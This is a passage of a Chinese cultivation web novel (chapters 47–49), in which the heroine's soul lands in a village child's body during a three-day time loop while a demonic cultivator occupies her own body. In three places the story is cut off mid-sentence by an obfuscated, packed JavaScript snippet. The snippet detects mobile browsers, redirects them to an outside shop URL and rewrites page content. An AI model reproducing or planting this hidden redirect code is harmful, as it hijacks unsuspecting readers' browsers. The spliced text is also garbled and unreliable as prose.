目光相对,四人心领神会,一起朝着伏令年房屋所在的方向行去。 房屋外静悄悄的,今夜的天空无云,房屋外也无树木遮蔽,皎洁的月光落于屋檐,更衬得夜色深沉。 林屿燕靠近门口,忽觉得脚下一沉,似乎一脚踏入了泥泞当中。 眉头蹙起,手却已经在她做出改变前敲在了木门上。 “叩。” 没有回应,屋内也没有任何额外的动静。 林屿燕内心的不安愈加强烈,以伏令年的修为,绝对不会无法察觉屋外的细微动静——即使她正在打坐修炼。 就在林屿燕手上发力,想硬生生震开木门上的木栓时,木门却先一步往后敞开了。 林屿燕未急着上前,左手放于剑柄上,目光深沉。 透过门缝,屋内黑漆漆的,没有点灯。一股淡淡的香气从屋内传出,钻入林屿燕的鼻腔。 “林师姐…呀!”后一步赶到的夏悠清似乎也踩到了泥泞的,发出一声低呼。 在林屿燕稍稍分神之际,木门忽被完全打开了,一道修长单薄的身影从屋内走了出来。 “嗯?屿燕,你们怎么了?” 林屿燕右手扶住夏悠清,看见来人,稍稍松了口气。 “小年。” 黑发披散在肩头、身着遨月峰弟子服饰的高挑少女,正是伏令年。 “来得正好,”“伏令年”侧开身子:“我们进来说吧。” 小屋内,“伏令年”摸黑取出了火石,点燃了屋内的油灯。飘忽不定的光线把屋内的几人脸庞映得忽明忽暗。 伏令年坐在窗旁,一半身子隐没于黑夜当中。她的眼眸被火光映得发红。 “你的发簪呢?”温季才不客气地一屁股坐到了伏令年床榻上,看着伏令年披散着头发,随口问道。 修仙世界没有理发师这个职业,伏令年平日对头发打理也十分随性。头发长了,便用打磨光滑的小树枝随意扎起,并自称这时发簪。 “伏令年”微微一怔,她侧了侧脑袋:“刚刚休息时散开了…可能,一不小心掉到地上了吧。” “在这儿呢,”夏悠清找到了躺在地面的发簪:“伏师姐,给你。” 接过发簪,“伏令年”缓缓挽起发丝,用发簪固定。 期间,她表情未有变化。几人相识至今,林屿燕很少瞧见伏令年的表情如此严肃。平日的伏令年眼中总会带着笑意,与人温和随性之感受。即使是处于相互比拼的擂台上,也很少会让人觉得锋芒毕露。 “出什么事了?”林屿燕问。 “刚刚,我被伪装成女孩的水鬼袭击了。” 安静了一瞬,见几人都露出思索的神色,“伏令年”接着道:“不久前,我听见有人敲击我的房门,并声称是来送桃花糕的。水鬼的脚步声很沉重,不似女童行走时发出的,更像是什么沉重事物一下一下锤落在地面的声响。” 林屿燕听伏令年这么一说,立即联想起昨日来送桃花糕的小女孩。 当时,她便隐隐觉得女孩的脚步声不对,只是内心一直隐隐不安,却未料到居然与水鬼有关。 “在我拒绝了桃花糕后,那个女孩便现出了原型,被我击退了。” 一切似乎都与桃花糕脱不了干系,几人心中同时出现了这个想法。 “万事小心,不要轻信村中的孩童,也不要食用桃花糕。” “好。”几人皆认同伏令年所言。 若如伏令年所说,这水鬼居然能变化身形,就应当是阴灵一类了。 这令林屿燕几人都大感 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夏悠清和温季才走在后头,只听温季才语气酸溜溜地道:“悠清师妹,你看看她,有了新欢便没了旧爱,居然对我如此冷漠。” “真的?我现在是伏师姐的新欢啦?” “?” 这是重点吗? 高墨贤看着温季才转向,也下意识跟了过去。 林屿燕一脸疑惑:“你做什么?” 高墨贤思考了一会:“水鬼会夜袭,我一个人待着不安全,害怕。” 看着对方板着的脸孔,林屿燕实在看不出高墨贤哪里害怕了。 不过,一个人呆着确实不大安全。 想了想,林屿燕也转换了方向,选择紧跟大队伍的步伐。 看见后面的一串人,“伏令年”:…… 她默默坐到了角落的椅子上。 而伏令年本人的床铺,则被温季才带头占领了。 …… 此时,伏令年正在与系统说话。 ‘系统,你说,到底是谁向外界传递的消息?’伏令年几人之所以来到桃源村,便是收到了村民的求助,这与桃源树妖所说相矛盾。 【系统不知道哦~】 ‘是桃源树妖有所隐瞒,为了让我留下来帮祂杀死那些魔修。还是说,祂也不知道?’ 【系统不知道哦~】 ‘不知道外面现在是什么情况,我被引魂术待到这里,体内没了神识,他们不会把我当身体埋了吧? 【系统不知道哦~】 伏令年吐了一口气,在心中骂道:‘你这个人机。’ 【是系统啦。】 伏令年无奈了。 她举起左手,看向指节上指环。 此时,指环上的花朵正散发着盈盈光亮,于浓雾中指引着前路。 伏令年需要穿过这片浓雾,回到自己的身体中,并帮助桃源树妖找出并杀死手持万鬼幡的魔修。 据桃源树妖所说,那些魔修被祂困在了三日轮回当中,成了轮回中的一员。然而,作为轮回的一环,祂无法直接出手干预轮回杀死他们。因此,祂需要借助外力——如伏令年般的外来者。 走了不知多久,伏令年终于看到了一抹光亮。她伸手去碰,指尖触碰到了无形的屏障。 指节上的戒指发烫,随即,伏令年向前,通过了屏障。 随即,伏令年眼前一花。还未等她反应过来,突如起来的刺痛感和窒息感让伏令年想要张嘴吸气,却呛入了一大口水。接连几次,伏令年只觉得眼前一阵发黑,似是有无形的大手狠狠掐住了她的气管。 47. 鸠占鹊巢 身体似乎在不断下沉,冰冷的液体涌入呼吸道。 神识海似乎有所触动,但伏令年没时间去理会。 双手挥动着,伏令年凭着最后一丝力气,试图抓住能稳住身形的事物。 迷蒙之中,伏令年忽感到手腕一紧,整个人便被大力往上方拽起。 耳朵入水导致她听不清周围的动静,只感到有人将她从水中拽了出来。随即,嘴里便被塞入了什么事物。 那东西入口即化,苦涩感充斥口腔,顺着咽喉流入胃部。 不到一刻,伏令年立即觉得呼吸顺畅起来,那种即将窒息的可怕感受消散。 喘了几口气,伏令年的五感总算恢复了正常。 耳边是妇人的啜泣声与孩童的哭闹声,伏令年睁开双眼,看见了一张熟悉的面孔。 “他没事了!” 眉目清冷的少女眉头舒展,招呼着周围的人。 “悠清?”伏令年下意识喊出了对方的名字,却被自己古怪的嗓音吓了一跳。 夏悠清似乎没听见,退了开去。伏令年面前顿时出现了好几张陌生的面孔。 面上带泪、双眼红肿的妇人一把将伏令年搂在了怀中:“虎儿啊,还好仙长出手相助,不然娘该怎么办好,娘就你们两个孩子啊。” 伏令年被这架势震得一时间说不出话来。 什么虎儿?什么娘? 这给她丢哪来了? 伏令年被妇人拥抱着,勉强透过余光往外看,正好与一个扎着葫芦辫的女孩对上了视线。 女孩就这么站在妇人身旁,不吵也不闹,一双黑眸仿佛能吸食光线,完全看不出孩童应有的童真。 伏令年莫名觉得后颈发发凉。 “多谢几位仙长搭救。”苍老的嗓音在伏令年头顶响起,似是村长桃骆。 “对对,虎儿,赶快给仙长们道谢。” 伏令年被妇人一把揪了起来,面向她口中的“仙长们”。 夏悠清、温季才、林屿燕、高墨贤,还有……伏令年目光落在站在人群后方的高挑少女身上。 少女拥有一张伏令年极为熟悉的面孔。 一双明媚的小鹿眼,高挺的鼻梁与自然上翘的薄唇。 这不就是她本人的脸吗?! 伏令年愣在原地,妇人则一脸焦急,硬生生按着她的脑袋给仙长们鞠了一躬。 “不用不用。”夏悠清摆着手:“赶快让孩子回屋休息吧,他刚刚一定吓坏了。” “多谢,多谢。”妇人一想到自己的孩子刚刚险些溺死,又不由得啜泣起来。 伏令年低着头,不再与其余人再有眼神对视。 一时震惊过后,伏令年已然对如今的情况有了些推测。 她确实是回到了桃源村,却回错了地方。魂魄没回到了自己的身体,反而占据了一个名为“虎儿”的小孩的身体。 而她自己的身躯,却不知被什么东西占据了。 眼珠转动,伏令年扫视了一遍自己的衣着。 左脚光溜溜的,右脚穿着农家孩子常见的草鞋,皆沾满了泥泞。 灰扑扑的衣摆上有缝补的痕迹,此时正湿哒哒地贴在腿部,往下淌着水。 再往上点,腰部… 伏令年忽地皱起了眉头。 她强忍着没用手去试探。 直到被妇人拽着回到了“家中”,伏令年在换衣服时终于确定了——自己现在在一个男孩的体内! 自闭了一会,伏令年在心中安慰自己——都修仙了,换个性别怎么了,又不是换不回来了。 这么想着,伏令年好受了许多。 “虎儿,出来来看着你阿妹!”妇人招呼道。 伏令年从勉强用作遮挡的粗布后钻了出来,与葫芦辫女孩面面相觑。 女孩就这么呆呆地坐在床铺上,对外界全然没有反应。 伏令年没有去和女孩搭话,趁着妇人离开的时间,观察着屋内的陈设。 如今,伏令年才知晓自己几人之前住的房屋属实算不错了。 妇人似乎是寡妇,独自带着“虎儿”与葫芦辫女孩一双儿女。三人就这么挤在这间仅有一张床铺的小屋中。 而这间屋子的屋顶还是用茅草堆砌的,空间也比伏令年住的那间缩水了一半。 屋内散发着一股潮湿的霉味,让人很不好受。 屋外有说话的动静,伏令年靠近门口,凑耳去听。 “我听闻虎儿落水了?没事吧。”这是年轻男人的嗓音。 “没事了没事了,多亏有仙长相助啊…”这是妇人的声音。 男人压低了嗓音,似乎说了句什么。无奈伏令年此时身处男孩体内,五感大不如从前,没能听清楚。 而后,妇人发出一声惊呼:“你在说什么呢,这是对桃源古树的不敬啊。” 男人似乎有些愤怒:“阿容,你就愿意让你的儿女呆在这个村子里?做一辈子平庸之人?!” “不…不…”妇人似乎受了惊吓,她喃喃道:“这是村中的祖训,这会破坏…” “破坏什么?”男子发出冷笑,声音不由自主地拔高:“你们和父亲都是那套说辞,破坏所谓的美好生活吗?你觉得你和一双儿女挤在这破屋子里的生活很美好?还是说…” “够了!”妇人打断了男子的话:“你莫要再说了。” 伏令年离开了门边,快步回到床铺旁。下一刻,房门被推开,妇人走了进来。 她有些气喘,似乎动了怒。 伏令年瞥了一眼门口,看见男子离去的背影。 “那是谁啊,阿娘。” 伏令年试探着问了一句。 妇人蹙眉:“是你桃叔,以后莫要再到他家讨糖了。” 那男人也姓桃? 这可不是什么常见的姓氏。就伏令年所知,这似乎是桃源村村长那一支独有的姓氏。 伏令年在心中暗暗记下了这一点。 见伏令年没反应,妇人又强调了一遍:“外头有水鬼,水鬼把王家二丫头他们抓了。你不许再乱跑了,更不许带着阿妹。知道了吗?” “知道了。”才怪。 伏令年打算待会便偷溜出去。 今日是三日轮回的最后一日,伏令年觉得自己应该抓紧时间做些什么。 她先是查看了一下神识海——虽然魂魄到了肉体凡胎中,神识海却依旧是她自己的。 【九十年义务修仙系统提醒您:】 【触发任务:回家的诱惑】 【任务介绍:魂在异乡,心念归家。】 【任务道具:《聚魂功法》*1 道具介绍:还在担心出门在外人被夺舍吗?读了这本《聚魂功法》,强身健魄,不怕夺舍。大能用了都说好!】 【完成奖励:无失败惩罚:无】 总感觉这个“无”意味深长呢。 下午,趁着妇人外出,伏令年在家中找了半天,好不容易翻找半包桃花糕。她取出一块,用粗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13188001|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布包着,揣在口袋里后偷偷溜出了房门。 在妇人回来之前,伏令年又及时赶回了木屋。 期间,葫芦辫少女便始终坐在床铺上,呆呆地望着门口。 晚上,伏令年趁着妇人熟睡,蹑手蹑脚地下了床。 然而,当她的手指触摸到木门之时,另一只手忽地被拽住了。 凉意顺着被触碰的手腕传遍伏令年的身体,伏令年头皮发麻,转过了脑袋。 借着屋外的光线,伏令年看清了身后的人。 那个扎着葫芦辫的女孩,也是这具身体主人的“妹妹”。 就在气氛陷入僵持之际,门外忽地传来轻轻的敲击声。 三下敲击以后,被伏令年取下门闩的门被缓缓推开了。 一个身材中等的男子出现于门后。 月光映照下,伏令年认出了这个男人。虽然未见过正脸,但光凭那一瞥,伏令年还是认出了这人正是早上与妇人对话的“桃叔”。 “桃叔”看着伏令年两人,表情平静,似乎早就料到伏令年会站在门口取下门闩似的。 “桃叔。”伏令年试探着喊了一声。 “桃叔”点了点头,示意两人出门说。 走到屋外,小心合上房门。 “桃叔”领着两人一边走着,一边低声道:“你也太不小心了,怎么就被他们发觉了?” 伏令年不知道他在说什么,说多错多,干脆不吭声。 葫芦辫女孩跟着伏令年,也是一言不发。 “桃叔”转头看了两人一眼,叹了口气:“算了,你们今晚就跟着二狗凤丫他们一起渡水吧。” 伏令年自然不认得二狗和凤丫是什么人。 听着都像是孩子的名字。 伏令年脑海中突然灵光一闪。 她问道:“王二丫和二妞她们呢?” “桃叔”脸色古怪地看了伏令年一眼,语气有些不耐烦:“我不是早就跟你说了,王二丫已经被送走了…至于二妞,那个疯颠颠的野丫头,你管她做什么?” 伏令年垂下眼眸,没有再说话。 当她得知整个村庄陷入三日轮回是由桃源树妖所谓时,她推断村中压根就没有所谓水鬼,王家与刘家孩童的消失是桃源树妖力量走向衰弱的缘故。 如今看来,她的推论是错误的。 两人的消失,居然与“桃叔“有关。 …… 夜色深沉,一道身影闪身从门后钻出,缓缓行走于小道上。 半敞开的门后,几道身影躺倒于地面,似乎失去了意识。 “伏令年”弹了弹衣袍,身上的香气随着晚风飘散。 她忽地抬手,指尖燃起一簇黑红色的火焰。 随即,火焰慢慢膨胀,晃动的火光好似形成了一张张诡异的面孔,不断地嘶吼着,分外可怖。 待火焰大小稳定,“伏令年”勾起唇角,露出一道邪异的笑容。 “如何?” “她”对着火焰道。 “快了。”火焰内传来一道沙哑的声音:“要我说,这样太慢了,鸠。他们只是筑基期的修士,直接杀了便是。” “哼。”鸠冷笑一声:“说的简单,若在我原本的身体中,自然可以。但这个人的身体…似乎有些古怪,我无法完全掌握。” “咳。”沙哑的声音咳嗽了一声:“那便慢慢来吧,下一次轮回要到了。” 鸠看向夜空,天色依旧暗沉,但她知道,天就要亮了。 48. 桃骆之死 木屋内,“伏令年”离开后,原本躺在地上的人动了动。 温季才睁开双眼,有些艰难地撑着身体坐起。 接着,身旁刚才还一动不动的几人都睁开了双眼。 几人都感到身体疲惫,有种倒头就睡的欲望。他们知道,这并不是他们真实的生理需求。毕竟,修仙者能够辟谷,也不需要过多的睡眠。 室内萦绕着一股不明的香气。 情况很明了,他们被下药了。若不是他们事先服用了解毒丹,恐怕还在“沉睡”呢。 至于下药的人。 “伏师姐…她走了。”夏悠清轻声道。 “她不是伏令年。”温季才哑声道。 从暗中服下解毒丹开始,几人心中其实都有了猜测,但被温季才点出来,还是陷入了沉默当中。 “先传音回宗门求助。”高墨贤率先打破了沉默。他的语气很平稳,和平日里没什么差别。 来执行任务之前,他们每人都得到一种名为“飞鸽”的符咒,能够用来远距离传音。 如今伏令年被“掉包”,情况诡异,绝对不是水鬼能做到的。 作为筑基期的修士,他们能力有限,面对如此情形,确实应当先向宗门求助。 然而,温季才却总觉得心有不安。 他们,真的能够成功将信息传至宗门吗? 总觉得,有什么事情即将发生。 温季才犹豫了一会,缓缓从自己口袋里掏出了一包由粗布裹着的事物。 “这是什么?”林屿燕低声问。 温季才没说话,只是展开了手中的粗布。 粗布里放着一块被压碎了一半的桃花糕。 温季才没说话,但几人心有灵犀,皆领会到了他的想法。 假伏令年曾多次强调不能相信村中的孩童,也不可食用桃花糕。 敌人的敌人便是朋友,敌人不让吃桃花糕,若反过来思考,食用了桃花糕,会发生什么事情呢? “不可。”林屿燕不赞成:“这样太危险了。” 温季才轻轻用拇指和食指捏起桃花糕。 众人这才瞧见,粗布上还有一行深色近黑的字体。 似乎是什么功法的口诀。 而这行字最后的落款是 ——二丫(>. …… 伏令年被带到了溪流边。 夜色如墨,洒落的月光不足以指引前路。 伏令年光凭着肉眼视物,几次险些滑倒。 跟在她身边的葫芦辫女孩却好似丝毫不受影响,以一个不快不慢的速度走着。 “到了。”“桃叔”抬高了声音:“仙长,我们到了。” 一道光芒照亮了黑夜,刺得伏令年眼眶中溢出了泪水。透过朦胧的视线,伏令年看清了面前的场景。 几艘木筏飘荡于溪流之上,一人立于中央的木筏上,全身被包在衣物当中,身披斗笠,整张面孔都被掩盖于其中。手中燃烧着火焰,照亮了四周。 伏令年如今处于凡人的□□中,神识却还是自己的。 通过神识,伏令年仿佛看见燃一张张可怖的脸孔在燃烧的火焰中显现。他们尖叫着,嘶鸣着,挣扎着,却始终无法逃脱火焰的炙烤,成为了火焰燃烧的燃料。 诡谲的场景让伏令年心底发寒,她努力挪开目光,观察四周。 其余木筏上,拢共站着十来个孩子,许多都是熟悉的面孔。 他们全部都是桃源村的孩子。 “爹。”一个女孩突然喊了一声,想离开木筏回到岸边。 “不要过来!”“桃叔”喊了一声,制止了女孩的行为:“你跟着仙长走!” 随即,“桃叔”朝那手握火焰的人鞠了一躬:“仙长,这是最后两个年龄达到孩子了。” “不错。”斗笠男声音沙哑,他另一只手轻轻挥动,伏令年身体一轻,被风裹着落在了木筏之上。 其余木筏已经满人,伏令年半趴着落到了斗笠男所在的木筏上。在如此角度,伏令年抬起脑袋,看见了斗笠男的面孔。 ——或者说,那压根就不能称之为面孔。 斗笠之下,原本应该属于脑袋的地方,一团团红黑色的蠕虫在其中攒动着。 蠕动间,它们身周的花纹似乎形成了诡谲的图案,仿若一只只没有睫毛的瞳孔。 伏令年忽地感到脑袋一阵刺痛,仿佛被无数钢针扎入。眼前发黑,似乎有液体顺着眼眶往下淌落。 是血。 失去意识前,伏令年这么想着。 再次睁开眼睛,伏令年发现自己正仰面躺着。 可怖的画面在脑海中挥之不去,那个斗笠男究竟是什么东西? 魔修?还是书上所说的傀儡法术?抑或是同两者都有关? 耳朵捕捉到重物落地的动静,伏令年悚然一惊,猛地坐起身。 动作之间,伏令年感到自己的身体似乎又有了改变。 该有的器官回来了,不该有的器官也不见了。 她似乎躺在床铺上,四周光线昏暗,右侧方是房门。 “桃潘!你疯了?”女子的尖叫声刚起,便被压了下去。 脚步声靠近,伏令年立即躺下,闭上了眼睛。 “吱呀”一声,门被推开了。 伏令年双眼睛闭,用耳朵捕捉着四周细微的响动。 内视体内,她依旧在凡人的体内,无法使用灵力。 细微的脚步声后,房门再度被关上。 “阿婉已经休息了。”名为桃潘的男人低声道。 这声音听着有些耳熟。 女人强行压抑着啜泣声,似乎不想让屋内的“阿婉“察觉,声音却无法控制地变得尖锐:“你真的疯了,桃潘。那可是你父亲!” 桃潘沉默了几秒,再次开口,声音却冷硬至极:“他信仰了那树妖一辈子,已经无药可救了。” 女人发出一声惊呼,似乎对男人的话语感到惶恐。 “你这是亵渎!” “愚昧!”桃潘似乎被女人的话语激怒:“什么神灵,祂根本只是将我们世世代代都困在此处的树妖罢了!你们为什么都不信我…无论如何,我会将孩子们送出去。” 伏令年在墙角正听得兴起,忽觉得后脖颈发毛。那种熟悉的被窥视感再次出现。 回过头,伏令年的目光不由自主地落在床头。 那里放着一个粗制的布娃娃。 看了几秒,伏令年莫名觉得布娃娃似乎是活的。 下一刻,布娃娃滚落到了地上,发出了不轻的动静。 伏令年立即从地上爬起,此时回到床铺已然来不及了。 在房门打开之前,伏令年装作迷糊的模样,用一只手捂住双眼。 房门被打开,一位身材中等的男子逆霞光站着。 伏令年故作自然地打了个哈欠,睡眼惺忪地看着面前极为眼熟的男子。 “爹。”伏令年这么喊道。 他就是妇人口中的“桃叔”。 “婉儿。”桃潘语气放柔:“这几日乖乖呆在屋里,爹过两日带你出村玩,好吗?” “真的?”伏令年面露喜色:“出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212476|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩?可是…祖父不是说…” 她敏锐捕捉到桃潘的眼神闪躲了一下。 “祖父答应了,”桃潘笑着道:“只要婉儿听话,就带你出去玩,好不好?” “好。”伏令年笑着答应。 桃潘似乎还有什么急事情,待他走后,“母亲”催促着伏令年重新上床休息。 看着“母亲”双眼红肿,伏令年强忍着没问,仿若无事般回到房间。 走回床铺,伏令年俯身捡起了掉在地上的布娃娃。 布娃娃灰扑扑的,一双眼睛是用较为规整的石头缝制而成的。眼睛下则用线勾勒出一个大大的笑容。 小孩子把这个丑娃娃放在床头睡觉,真的不会做噩梦吗。 这么想着,伏令年却顺手将娃娃揣进了衣袍的衣兜里。 晚霞渐渐消失,天色尽暗。 伏令年翻身下床,攀着窗离开了房间。 绕着走了一圈,伏令年由从屋子的另一个窗口翻入屋内。 神识放出,伏令年强忍着头痛在屋内探索起来。 凡人的身躯弱小,很难完全利用神识。 伏令年遵循着神识的指引,缓缓走到了一道门前。手贴着房门推了一下,纹丝不动。 细微的动静让伏令年明白这门应当上锁了。 她没有急着离开,从怀中掏出了那个布娃娃,将它放下地上。 “别光看着啊,帮忙。” 布娃娃忽地立了起来,抬头“看了”伏令年一眼。 等了一会,窗口处的传来轻微的动静。 伏令年侧过头,就见两团黑漆漆的人影从窗口翻了进来。 “呀!”领头之人吓了一跳。 伏令年看不清来人,却好似早已料到一般,指了指门口:“师弟,开门。” “二丫!” 一道火光亮起,映出温季才和高墨贤的面孔。 温季才脸现惊喜,高墨贤则皱起了眉头,面露疑惑之色。 “你怎么变成这样了?” 伏令年在嘴边比了个“嘘”,表示这不是叙旧的时候。她指了指门口,再次示意温季才开门。 对身负灵力的修仙者而言,这自然不是问题。 只见温季才单手往门上一按,轻微的碎裂声后,门向后敞开了。 一股恶臭的味道铺面而来,令人猝不及防。 房屋内没有任何陈设,灰黑色的地面上残留着一些凝固物。看着像蜡烛融化后重新凝结的痕迹。 在火光之中,有人就这么仰面倒于地上。 头发胡子花白,眼睛大睁,满脸皱纹。 正是村长桃骆。 桃骆——或者说桃骆的尸体,就这么躺在房间中央,尸身已然高度腐烂,除了面皮以外没有一处是完好无损的。浓烈的尸臭味强调着他死亡的事实。 三人一时无言。 桃骆死了? 这句话在伏令年的脑中回荡。 她依靠神识察觉到了屋内有不同寻常的气息,也对屋内有尸体这一情况有所预料。 但她却没想到,死者是桃骆。 再加之桃骆如今尸身腐烂的程度,就知他绝不是短时间内死亡的。 她侧头看向温季才:“这是第几日?” 温季才并未露出疑惑的神色,他低头看着伏令年,神色严肃:“第一日,我们刚刚入村。”顿了顿,他补充道:“我们刚刚就是被桃骆带着进村的。” 在第一日入村之前,桃骆就已经死了。 那么,他们三日中一直见到的桃骆,究竟是何人? 49. 守株待兔 “桃潘。”伏令年喃喃道。 温季才两人显然都没听过这个名字,同时看向伏令年。 虽然没有绝对的证据,但结合伏令年这几日所见所闻,假扮桃骆的人应当就是桃潘——村长桃骆的儿子。 至于他为何能够伪装成桃骆,当然与那些魔修脱不了干系。 与他的父亲桃骆不同,桃潘并不信仰桃源树妖。并且,在魔修的引导下,他在暗中将桃源村的孩童交给魔修。 不知道他私下与魔修达成了怎样的约定,他似乎认为,将孩子送出桃源村是在拯救他们。 伏令年对此不以为然,无论桃源树妖本身是否有恶意,魔修的话必然是不可信的。 若不是三日轮回的存在,那些孩子恐怕就要遭遇不测了。 思虑至此,伏令年没急着给两人作答。 她目光转动,落在了那个布娃娃身上。 只见,灰扑扑的布娃娃缓缓靠近了桃骆尸体的脸部,伸出两只短短的手,替桃骆合上了双眼。 “桃潘是桃源村的叛徒?”伏令年用肯定的语气说着疑问句。 布娃娃回头看了伏令年三人一眼,伏令年身体忽的一阵发麻,紧接着,嘴巴不由自主地张开。 声带振动,伏令年的嗓子中发出了不属于她自己的声音。 于此同时,温季才也不受控制般张开了嘴巴。 少年与女童的声音重叠,哼唱着旋律相同的歌谣。 这是一首伏令年从来未听过的歌曲,节奏轻缓,歌词简单,听着像一首摇篮曲。 “桃源树下桃源树~小小的孩童闭上眼睛~桃源树下桃源树~小小孩童快安睡~” 一曲完毕,伏令年才重新掌握了对自己的控制权。 温季才瞪大了双眼,捂住了自己的嘴巴。 “你骗了我们。”这也是一个肯定句。 说出这句话后,伏令年又张开嘴巴,“自己”回答了这个问题:“我无意欺骗你们,外来者。我已将我所知的大部分真相告知你们。” “你借助我们来寻找魔修入侵桃源村的真相?” 桃源树妖默认了。 看来,祂事先也不知道桃潘是背叛者。 “被你的引魂术控制,以及食用了桃花糕的人,在保留记忆的同时,也会被你控制?” “只要你助我杀了那持有万鬼幡的外乡人,我就会解除对你们的控制。” 说得简单,先不说杀万鬼幡持有者有多困难,就是桃源树妖本身就不知是敌是友。伏令年两人此时被她所控制,可谓是砧板上的鱼,要杀要剐全凭祂所想。 “你们…”温季才忽然弱弱了插了一句嘴:“别这样聊天,怪瘆人的。实在不行,你用我的嘴聊吧。”后半句是对桃源树妖说的。 桃源树妖似乎也从未听说过这种要求,一时间没说话。 “你们真的要一直站在这里吗?” 高墨贤表情还是木木的,脸色却有些苍白。他实在是受不住房间里的气味与场景了。 要是他没吭声,伏令年差些都要把他给忘了。经过二妞的“欢迎”以及目睹斗笠男真容几次事件,伏令年忍受恶心的阀值也大大提高了,居然能站在尸体前和桃源树妖聊这么久。 布娃娃走出房间,伏令年伸手掩上房门。 被这么一打岔,刚刚剑拔弩张的气氛消散了。 伏令年未再提问。 即便是她问了,桃源树妖恐怕也不会如实回应。 再次将布娃娃揣进怀里,伏令年带着温季才和高墨贤翻窗回到了“婉儿”的房间。 “你们什么情况?”伏令年目光在温季才和高墨贤两人身上打转。 伏令年给温季才送的是单人份的桃花糕,就是担心桃花糕有问题把小伙伴们给一锅端了。他拥有了记忆,便意味着高墨贤是没记忆的。 温季才一下便打开了话匣子。 “你不知道,假扮你的那个人阴恻恻的。我从来没想到你脸上能露出这么诡异的表情…她还用火石点火,我当时就觉得古怪…还有还有,她还说自己被水鬼打伤了,让夏悠清单独给她炼丹,不明摆着不怀好意吗?” 所有人中,只有温季才从一开始就知晓伏令年真的会炼丹。高墨贤在相处中也逐渐接受了伏令年多才多艺的“设定”。 温季才似乎是憋坏了,从伏令年由于引魂术魂魄离体后说起,一直滔滔不绝地说到今日。 “新轮回开始,我一睁眼就回到了入村的时候,吓了我一跳。那假家伙还想和夏悠清住一间屋子,好在我有记忆,好说歹说把她给劝住了…入村不久,我忽地觉得身体不受控制,一直走到这儿,才恢复了自由。” 而高墨贤想必就是发觉温季才不对,跟着一起过来了。 伏令年大概了解了情况,点了点头。 “我怀疑,占据了我身体的应当是一位魔修。” 她简略讲了讲她所知道的重要信息。 以当下所知的信息看,三日轮回中有两方势力。桃源树妖和大部分村民为一方,魔修以及受他们蛊惑的桃潘是另一方。 桃源树妖将伏令年引走,要借助伏令年帮助去杀死魔修。 占据了伏令年身体,维持现状,阻止温季才他们与桃源树妖产生联系的,大概率就是魔修一方了。 想清楚这些,伏令年心中又有所疑虑。 魔修们似乎并不像桃源树妖所说的那样虚弱,甚至还能占据她的身体。或许,这其中还有什么伏令年不知晓的内情。 桃源村被魔修入侵的故事只有伏令年一人听说过,因此,她需要提醒温季才几人。 “你们回去后要注意些,不要直接和她发生冲突。” 温季才有些讶异,表情也逐渐变得严肃:“我知道了。” 魔修,修仙界毒瘤般的存在。 只要世界上存在修士,人还有这欲望与杂念,魔修便会远远不断地产生。 他们残忍,可怕,也很强大。 高墨贤在一旁听着两人的话语,总觉得自己似乎还在梦里。 什么轮回,什么失忆,什么魔修? 没有记忆的他一时间很难接受伏令年和温季才所说的内容,在他的记忆中,这只是他们只是刚刚离开木延街市,进入桃源村的第一晚。 若不是看伏令年和温季才皆表情严肃,他都要怀疑这是两人合伙开的玩笑了。 温季才两人并未长留,桃潘随时会回家,若是直接撞上,事情就有些麻烦了。 伏令年并不担忧桃潘察觉桃骆的尸体已被发觉,相反,她希望桃潘察觉这一点。 为了掩盖他弑父这一事实,桃潘可能会因为慌乱,进而使得隐匿在背后魔修浮出水面。 待两人离开,伏令年躺回床上,状似在睡觉,实际已经沉入神识海当中。 她正在修行系统所提供的《聚魂功法》。 神识对于伏令年而言其实是一种很抽象的东西,直到如今,她对神识的利用也浮于表层,行于本能。 如何修炼神识,对伏令年而言更是难以捉摸。 这次意外魂魄离体,让伏令年知道神识与魂魄关系密切,是精神意志的外化。 两者可以并称为神魂。 如今有了《聚魂功法》的指导, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235158|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伏令年也逐渐摸清了神魂修炼的一些门道。 由此,神识海也发生了一些变化。 本来一片空旷,只会在系统提示时出现波澜的神识海在伏令年修行时逐渐现出了它真实的面貌。 大小不一的光团散布于整片神识海中,仿若繁星点缀于夜空。 当伏令年操纵神识试图触碰时,光团皆分散躲避。 按照功法所述,她操纵着神识,开始抓捕那些散逃的光团。 说起来简单,做起来却很困难。 光团飞行的速度极快,且轨迹多变。 连扑了几次空后,光团围绕着伏令年转动起来,让伏令年有种被调戏了却拿他们无可奈何的无奈感。 直到感到疲乏,伏令年也只抓住了两三个光芒较弱的小光团。 小光团融入了伏令年的神识当中,或许是因为数量较少,伏令年没有特别明显的感受。 虽然还留有余力,伏令年却停止修炼,脱离了神识海。 